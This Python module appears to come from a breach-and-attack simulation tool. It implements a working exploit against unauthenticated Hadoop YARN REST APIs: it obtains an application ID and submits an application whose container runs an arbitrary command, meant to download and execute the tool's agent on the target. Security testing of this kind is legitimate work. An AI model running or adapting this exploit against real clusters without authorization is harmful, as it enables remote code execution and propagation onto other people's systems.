import json
import logging
import posixpath
import string
from copy import deepcopy
from http import HTTPStatus
from pprint import pformat
from time import time
from typing import Any, Mapping, Tuple

import requests

from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventPublisher
from common.tags import (
    EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG,
    EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG,
    INGRESS_TOOL_TRANSFER_T1105_TAG,
)
from common.types import AgentID, Event
from common.utils.code_utils import insecure_generate_random_string
from infection_monkey.i_puppet import TargetHost

from .hadoop_options import HadoopOptions

logger = logging.getLogger(__name__)

HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
EXPLOITER_NAME = "Hadoop"
RAND_STR_LEN = 6  # Random string's length that's used for creating unique app name
EXPLOITER_TAGS = (
    HADOOP_EXPLOITER_TAG,
    EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG,
    EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG,
)
PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, INGRESS_TOOL_TRANSFER_T1105_TAG)


class HadoopExploitClient:
    """
    Exploits Hadoop by submitting a new application to YARN. That application executes a custom
    command to download and execute the Agent.
    """

    def __init__(
        self,
        agent_id: AgentID,
        agent_event_publisher: IAgentEventPublisher,
    ):
        self._agent_id = agent_id
        self._agent_event_publisher = agent_event_publisher

    def exploit(
        self,
        target_host: TargetHost,
        options: HadoopOptions,
        agent_binary_downloaded: Event,
        url: str,
        command: str,
    ) -> Tuple[bool, bool]:
        """
        Exploits a Hadoop server by submitting a new application to YARN

        :param url: URL to send malicious requests to. Format: [http/https]://ip:port/extension.
        :param command: Command that will be executed on remote host

        :return: A tuple of two booleans. The first boolean indicates whether the exploit succeeded.
                 The second boolean indicates wherther the propagation succeeded.
        """
        timestamp = time()

        try:
            exploitation_success = HadoopExploitClient._run_exploit(url, command, options)
            exploitation_message = "" if exploitation_success else f"Failed to exploit via {url}"
        except Exception as err:
            logger.exception("An exception was encountered while attempting to exploit Hadoop")
            exploitation_success = False
            exploitation_message = str(err)

        propagation_success = HadoopExploitClient._evaluate_propagation_success(
            exploitation_success, agent_binary_downloaded, options.agent_binary_download_timeout
        )
        propagation_message = (
            "" if propagation_success else "The target did not download the agent binary"
        )

        self._publish_exploitation_event(
            target_host, timestamp, exploitation_success, error_message=exploitation_message
        )
        self._publish_propagation_event(
            target_host, timestamp, propagation_success, error_message=propagation_message
        )

        return exploitation_success, propagation_success

    @staticmethod
    def _run_exploit(url: str, command: str, options: HadoopOptions) -> bool:
        try:
            app_id = HadoopExploitClient._apply_for_application_id(url, options.request_timeout)
            payload = HadoopExploitClient._build_payload(
                app_id, options.yarn_application_suffix, command
            )
            resp = HadoopExploitClient._send_exploit_payload(url, payload, options.request_timeout)
        except requests.ConnectionError as err:
            logger.error(f"Connection error encountered while exploiting hadoop: {err}")
            return False

        return resp.status_code == HTTPStatus.ACCEPTED

    @staticmethod
    def _apply_for_application_id(url: str, request_timeout: float) -> str:
        """
        Applies for a new application id in YARN
        :param url: The URL to apply for a new application id
        :return: The new application id
        """
        application_url = posixpath.join(url, "ws/v1/cluster/apps/new-application")
        logger.info(f"Applying for new Hadoop application at {application_url}")

        resp = requests.post(application_url, timeout=request_timeout)
        if resp.status_code != HTTPStatus.OK:
            raise RuntimeError(
                "The application for a new YARN application ID - Server responded with "
                f"{resp.status_code}"
            )

        resp_dict = json.loads(resp.content)

        try:
            return resp_dict["application-id"]
        except KeyError:
            raise RuntimeError(
                "The application for a new YARN application ID - Server response is missing "
                f"the application-id field. Response: {pformat(resp_dict)}"
            )

    @staticmethod
    def _build_payload(
        app_id: str, yarn_application_suffix: str, command: str
    ) -> Mapping[str, str]:
        logger.info("Building Hadoop exploit payload")

        # Create a random name for our application in YARN
        # Avoid the risk of blocking by using insecure_generate_random_string()
        rand_name = yarn_application_suffix + insecure_generate_random_string(
            n=RAND_STR_LEN, character_set=string.ascii_lowercase
        )
        payload = {
            "application-id": app_id,
            "application-name": rand_name,
            "am-container-spec": {
                "commands": {
                    "command": command,
                }
            },
            "max-app-attempts": 1,
            "application-type": "YARN",
        }
        HadoopExploitClient._log_payload(payload)

        return payload

    @staticmethod
    def _log_payload(payload: Mapping[str, Any]):
        sanitized_payload = HadoopExploitClient._sanitize_payload(payload)
        logger.debug(f"Hadoop exploit payload:\n{pformat(sanitized_payload)}")

    @staticmethod
    def _sanitize_payload(payload: Mapping[str, Any]) -> Mapping[str, Any]:
        sanitized_payload = deepcopy(payload)
        sanitized_payload["am-container-spec"]["commands"]["command"] = "<REDACTED>"

        return sanitized_payload

    @staticmethod
    def _send_exploit_payload(
        url: str, payload: Mapping[str, str], timeout: int
    ) -> requests.Response:
        target_url = posixpath.join(url, "ws/v1/cluster/apps/")
        logger.info(f"Sending Hadoop exploit payload to {target_url}")

        resp = requests.post(
            target_url,
            json=payload,
            timeout=timeout,
        )
        logger.debug(f"Hadoop responded to exploit payload with code {resp.status_code}")

        return resp

    @staticmethod
    def _evaluate_propagation_success(
        exploitation_success: bool,
        agent_binary_downloaded: Event,
        agent_binary_download_timeout: float,
    ) -> bool:
        if not exploitation_success:
            return False

        logger.debug("Waiting for the target to download the agent binary...")
        agent_binary_downloaded.wait(agent_binary_download_timeout)

        return agent_binary_downloaded.is_set()

    def _publish_exploitation_event(
        self,
        target_host: TargetHost,
        time: float = time(),
        success: bool = False,
        tags: Tuple[AgentEventTag, ...] = tuple(),
        error_message: str = "",
    ):
        exploitation_event = ExploitationEvent(
            source=self._agent_id,
            target=target_host.ip,
            success=success,
            exploiter_name=EXPLOITER_NAME,
            error_message=error_message,
            timestamp=time,
            tags=frozenset(tags or EXPLOITER_TAGS),
        )
        self._agent_event_publisher.publish(exploitation_event)

    def _publish_propagation_event(
        self,
        target_host: TargetHost,
        time: float = time(),
        success: bool = False,
        tags: Tuple[AgentEventTag, ...] = tuple(),
        error_message: str = "",
    ):
        propagation_event = PropagationEvent(
            source=self._agent_id,
            target=target_host.ip,
            success=success,
            exploiter_name=EXPLOITER_NAME,
            error_message=error_message,
            timestamp=time,
            tags=frozenset(tags or PROPAGATION_TAGS),
        )
        self._agent_event_publisher.publish(propagation_event)
